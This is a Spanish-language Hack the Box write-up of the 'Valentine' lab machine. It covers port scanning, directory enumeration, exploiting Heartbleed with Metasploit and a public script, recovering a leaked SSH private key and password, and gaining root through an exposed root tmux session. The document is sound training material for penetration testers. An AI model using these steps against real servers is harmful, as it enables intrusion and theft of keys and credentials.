Valentine Writeup

FácilLinux
Las flags que resuelven este reto se encuentran protegidas. Comparte el artículo en redes sociales para desbloquearlas.
$User Flag
e6710a54...
#Root Flag
f1bb6d75...

En este writeup vamos a ver cómo resolver la máquina Valentine de la plataforma de Hack the Box.

Conexión

Conectar nuestra máquina de ataque a la VPN:

$ openvpn gorkamu-htb.ovpn

Enumeración

Si enviamos un paquete ICMP podemos ver que tipo de máquina es según su TTL:

$ ping -c 1 10.10.10.79

El TTL que tiene es de 254 por lo que nos enfrentamos ante una máquina Linux.

El siguiente paso es hacer un escaneo de puertos:

$ nmap -p- --open -T5 -v -n 10.10.10.79 -oN ports

Podemos ver que tiene los siguientes puertos abiertos:

PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 1024 96:4c:51:42:3c:ba:22:49:20:4d:3e:ec:90:cc:fd:0e (DSA) | 2048 46:bf:1f:cc:92:4f:1d:a0:42:b3:d2:16:a8:58:31:33 (RSA) |_ 256 e6:2b:25:19:cb:7e:54:cb:0a:b9:ac:16:98:c6:7d:a9 (ECDSA) 80/tcp open http Apache httpd 2.2.22 ((Ubuntu)) | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-server-header: Apache/2.2.22 (Ubuntu) |_http-title: Site doesn't have a title (text/html). 443/tcp open ssl/http Apache httpd 2.2.22 ((Ubuntu)) | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-server-header: Apache/2.2.22 (Ubuntu) |_http-title: Site doesn't have a title (text/html). | ssl-cert: Subject: commonName=valentine.htb/organizationName=valentine.htb/stateOrProvinceName=FL/countryName=US | Issuer: commonName=valentine.htb/organizationName=valentine.htb/stateOrProvinceName=FL/countryName=US | Public Key type: rsa | Public Key bits: 2048 | Signature Algorithm: sha1WithRSAEncryption | Not valid before: 2018-02-06T00:45:25 | Not valid after: 2019-02-06T00:45:25 | MD5: a413 c4f0 b145 2154 fb54 b2de c7a9 809d |_SHA-1: 2303 80da 60e7 bde7 2ba6 76dd 5214 3c3c 6f53 01b1 |_ssl-date: 2021-01-06T17:01:56+00:00; +5m31s from scanner time. Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Podemos mirar si el puerto 443 es vulnerable a heartbleed. Para ello:

$ nmap --script=ssl-heartbleed -p 443 10.10.10.79 Starting Nmap 7.91 ( https://nmap.org ) at 2021-01-07 11:19 CET Nmap scan report for 10.10.10.79 Host is up (0.058s latency). PORT STATE SERVICE 443/tcp open https | ssl-heartbleed: | VULNERABLE: | The Heartbleed Bug is a serious vulnerability in the popular OpenSSL cryptographic software library. It allows for stealing information intended to be protected by SSL/TLS encryption. | State: VULNERABLE | Risk factor: High | OpenSSL versions 1.0.1 and 1.0.2-beta releases (including 1.0.1f and 1.0.2-beta1) of OpenSSL are affected by the Heartbleed bug. The bug allows for reading memory of systems protected by the vulnerable OpenSSL versions and could allow for disclosure of otherwise encrypted confidential information as well as the encryption keys themselves. | | References: | http://www.openssl.org/news/secadv_20140407.txt | http://cvedetails.com/cve/2014-0160/ |_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160 Nmap done: 1 IP address (1 host up) scanned in 1.03 seconds

Como vemos en la salida nos dice que efectivamente el servidor es vulnerable a heartbleed.

Ahora vamos a pasar tanto gobuster como dirbuster a ver si encontramos directorios y ficheros ocultos:

Con gobuster hemos encontrado los siguientes directorios:

/index (Status: 200) /dev (Status: 301) /encode (Status: 200) /decode (Status: 200) /omg (Status: 200) /server-status (Status: 403)

Con dirbuster encontramos los siguientes archivos:

dirbuster
dirbuster
Una de las cosas interesantes que nos encontramos es esta url: http://10.10.10.79/dev/hype_key

Si vemos ese fichero nos encontraremos datos en hexadecimal.

En la url tenemos un formulario para introducir datos a decodificar http://10.10.10.70/decode.php

Si convertimos hype_key a ascii (hex to ascii) veremos que se trata de una clave RSA privada.

Capturar User Flag

Hemos visto que la vulnerabilidad que existe en esta máquina es un heartbleed así que vamos a tratar de explotarla.

Usando Metasploit

Abrimos metasploit y buscamos por heartbleed. Tenemos que usar este escáner en concreto: scanner/ssl/openssl_heartbleed

Después configuramos RHOST y habilitamos la opción verbosa.

Entre el contenido que nos devuelve podemos ver lo siguiente:

$text=aGVhcnRibGVlZGJlbGlldmV0aGVoeXBlCg==

Si lo pasamos por la url http://10.10.10.79/decode.php

obtenemos lo siguiente:

querystring
querystring

Por un lado tenemos el usuario hype (del fichero hype_key) y por otro lado tenemos tanto la clave rsa en hexadecimal (hype_key) como en texto plano (rsa.priv) del usuario.

Tenemos que convertir la clave para que podamos usarla por ssh y para ello usamos openssl:

$ openssl rsa -in rsa.priv --out hype_key_ok

Una vez convertida ya nos podemos conectar por ssh:

$ ssh -i hype_key_ok hype@10.10.10.79 hype@Valentine:~$ id uid=1000(hype) gid=1000(hype) groups=1000(hype),24(cdrom),30(dip),46(plugdev),124(sambashare) hype@Valentine:~$ whoami hype

Si nos vamos a /home/hype/Desktop veremos el fichero user.txt con la USER Flag.

Sin usar Metasploit

Para explotar la vulnerabilidad de heartbleed sin usar metasploit podemos hacerlo usando este script:

https://gist.githubusercontent.com/eelsivart/10174134/raw/8aea10b2f0f6842ccff97ee921a836cf05cd7530/heartbleed.py

Nos los descargamos y lo ejecutamos de la siguiente forma:

$ python heartbleed.py 10.10.10.79

En la salida vemos que nos dice que el servidor está devolviendo más información de la que debería y que por lo tanto es vulnerable, además devuelve una variable codificada en $text.

A tool to test and exploit the TLS heartbeat vulnerability aka heartbleed (CVE-2014-0160) ################################################################## Connecting to: 10.10.10.79:443, 1 times Sending Client Hello for TLSv1.0 Received Server Hello for TLSv1.0 WARNING: 10.10.10.79:443 returned more data than it should - server is vulnerable! Please wait... connection attempt 1 of 1 ################################################################## .@....SC[...r....+..H...9... ....w.3....f... ...!.9.8.........5............... .........3.2.....E.D...../...A.................................I......... ........... ...................................#.......0.0.1/decode.php Content-Type: application/x-www-form-urlencoded Content-Length: 42 $text=aGVhcnRibGVlZGJlbGlldmV0aGVoeXBlCg== 6./.y..t.8..<.....3

Capturar Root Flag

Para conseguir la root flag tenemos que mirar en los procesos activos. Si ejecutamos un ps aux de entre todos los procesos veremos que se está ejecutando como root tmux.

Esto coincide con lo que aparece en el historial de comandos del usuario hype.

Si ponemos la siguiente línea en la terminal nos dará acceso como root y con ello acceso al fichero /root/root.txt

$ /usr/bin/tmux -S /.devs/dev_sess

También te puede interesar

Cap Writeup

Cap Writeup

Cronos Writeup

Cronos Writeup

Delivery Writeup

Delivery Writeup